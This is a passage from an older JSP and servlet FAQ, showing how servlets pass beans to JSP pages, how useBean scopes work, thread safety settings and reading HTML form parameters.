<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>f.setName(&#8221;Mogambo&#8221;); </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>// do whatever else necessary</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>getServletConfig().getServletContext().</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">         </span>getRequestDispatcher(&#8221;/jsp/Bean2.jsp&#8221;).</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">             </span>forward(request, response);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>} catch (Exception ex) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 2;">             </span>. . .</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">}</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The JSP page Bean2.jsp can now extract the bean fBean (and whatever other beans that may have been passed by the controller servlet) from the request and extract its properties. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;html&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;body&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">Within JSP2</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;P&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:useBean id=&#8221;fBean&#8221; class=&#8221;govi.FormBean&#8221; scope=&#8221;request&#8221;/&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;fBean&#8221; property=&#8221;name&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;/body&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;/html&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691772"><span style="font-size: x-small; font-family: Verdana;">How does a servlet communicate with a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following code snippet shows how a servlet instantiates a bean and initializes it with FORM data posted by a browser. The bean is then placed into the request, and the call is then forwarded to the JSP page, Bean1.jsp, by means of a request dispatcher for downstream processing. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">public void doPost (HttpServletRequest request,</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 2;">             </span><span style="mso-spacerun: yes;">       </span>HttpServletResponse response) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>try {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>govi.FormBean f = new govi.FormBean();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>String id = request.getParameter(&#8221;id&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>f.setName(request.getParameter(&#8221;name&#8221;));</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>f.setAddr(request.getParameter(&#8221;addr&#8221;));</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>f.setAge(request.getParameter(&#8221;age&#8221;));</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>//use the id to compute<span style="mso-spacerun: yes;">          </span></span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>//additional bean properties like info </span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>//maybe perform a db query, etc.</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>// . . .</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">              </span>f.setPersonalizationInfo(info);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>request.setAttribute(&#8221;fBean&#8221;,f);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span><span style="mso-spacerun: yes;">      </span>getServletConfig().getServletContext().getRequestDispatcher</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">                           </span>(&#8221;/jsp/Bean1.jsp&#8221;).forward(request, response);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>} catch (Exception ex) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">                </span>. . .</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-tab-count: 1;">     </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>}</span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The JSP page Bean1.jsp can then process fBean, after first extracting it from the default request scope via the useBean action. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:useBean id=&#8221;fBean&#8221; class=&#8221;govi.FormBean&#8221; scope=&#8221;request&#8221;/&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;fBean&#8221; property=&#8221;name&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;fBean&#8221; property=&#8221;addr&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;fBean&#8221; property=&#8221;age&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:getProperty name=&#8221;fBean&#8221; property=&#8221;personalizationInfo&#8221; /&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691773"><span style="font-size: x-small; font-family: Verdana;">JSP 0.91 and 0.92 specifications are no longer available at java.sun.com. Is there somewhere else I can download them?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes. You can download JSP 0.91 specification at <a href="http://www.kirkdorffer.com/jspspecs/jsp091.html"><span style="color: #0000ff;">http://www.kirkdorffer.com/jspspecs/jsp091.html</span></a>. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">JSP 0.92 specification can be downloaded from <a href="http://www.kirkdorffer.com/jspspecs/jsp092.html"><span style="color: #0000ff;">http://www.kirkdorffer.com/jspspecs/jsp092.html</span></a></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691774"><span style="font-size: x-small; font-family: Verdana;">Where can I find the complete list of commercial vendor support for JSP?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Daniel Kirkdorffer maintains a regularly updated list of products which support the JSP API. You can access it at <a href="http://www.interpasnet.com/JSS/textes/jsp2.htm"><span style="color: #0000ff;">http://www.interpasnet.com/JSS/textes/jsp2.htm</span></a>.</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691775"><span style="font-size: x-small; font-family: Verdana;">Are there any JSP engines which support JavaScript?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes. Resin 1.0 from <a href="http://www.caucho.com/"><span style="color: #0000ff;">Caucho Technologies</span></a> supports both Java and JavaScript for scripting and implements JSP 1.0. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">PolyJSP from <a href="http://www.plenix.org/"><span style="color: #0000ff;">Plenix</span></a> supports Java, JavaScript and WebL for scripting, and implements JSP 0.92. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691776"><span style="font-size: x-small; font-family: Verdana;">How does the &#8220;application&#8221; scope work with the useBean tag?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Consider the following example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;useBean id=&#8221;counter&#8221; class=&#8221;foo.Counter&#8221; scope=&#8221;application&#8221; /&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">In this example, when the Counter bean is instantiated, it is placed within the servlet context, and can be accessed by any JSP or servlet that belong to the application (i.e. belongs to the same servlet context). </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The servlet equivalent of the above useBean action is: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">getServletContext().setAttribute(&#8221;counter&#8221;, new foo.Counter());</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">If the bean was previously created by another JSP or servlet and was placed within the application (servlet) context, the useBean action would then serve to retrieve the object. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The servlet equivalent of retrieving a bean from the application context is: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">foo.Counter ctr = (foo.Counter) getServletContext().getAttribute(&#8221;counter&#8221;);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691777"><span style="font-size: x-small; font-family: Verdana;">My JSP file compiles just fine&#8230;but I always get a NoClassDefFoundError when I try to access a bean via the useBean tag. Why?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Make sure your beans belong to a package, and that you are fully qualifying the bean when indicating the value for the class attribute. For example, if your bean abc.class belongs to the package foo, make sure you indicate the value for the class attribute as: </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">&lt;useBean id=&#8221;mybean&#8221; class=&#8221;foo.abc&#8221; scope=&#8221;session&#8221; /&gt; </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">and </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">not</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> as: </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">&lt;useBean id=&#8221;mybean&#8221; class=&#8221;abc&#8221; scope=&#8221;session&#8221; /&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691778"><span style="font-size: x-small; font-family: Verdana;">How can I implement a thread-safe JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can make your JSPs thread-safe by having them implement the </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">SingleThreadModel</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> interface. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">This is done by adding the directive </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">&lt;%@ page isThreadSafe=&#8221;false&#8221; %&gt; </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">within your JSP page. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">With this, instead of a single instance of the servlet generated for your JSP page loaded in memory, you will have N instances of the servlet loaded and initialized, with the service method of each instance effectively synchronized. You can typically control the number of instances (N) that are instantiated for all servlets implementing </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">SingleThreadModel</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> through the admin screen for your JSP engine. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691779"><span style="font-size: x-small; font-family: Verdana;">Can a JSP page process HTML FORM data?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Yes. However, unlike servlets, you are not required to implement HTTP-protocol specific methods like doGet() or doPost() within your JSP page. You can obtain the data for the FORM input elements via the request implicit object within a scriptlet or expression as: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;% </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">String item = request.getParameter(&#8221;item&#8221;);</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">int howMany = new Integer(request.getParameter(&#8221;units&#8221;))</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">                                            </span>.intValue();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">or </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%= request.getParameter(&#8221;item&#8221;) %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
